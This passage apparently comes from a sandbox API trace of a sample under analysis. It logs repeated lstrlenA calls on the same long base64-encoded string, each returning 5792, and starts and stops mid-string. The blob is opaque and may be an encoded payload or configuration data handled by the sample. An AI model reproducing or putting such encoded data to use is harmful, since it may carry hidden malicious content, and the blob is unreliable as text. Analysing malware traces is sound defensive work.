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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="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") returned 5792 [0042.882] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6Od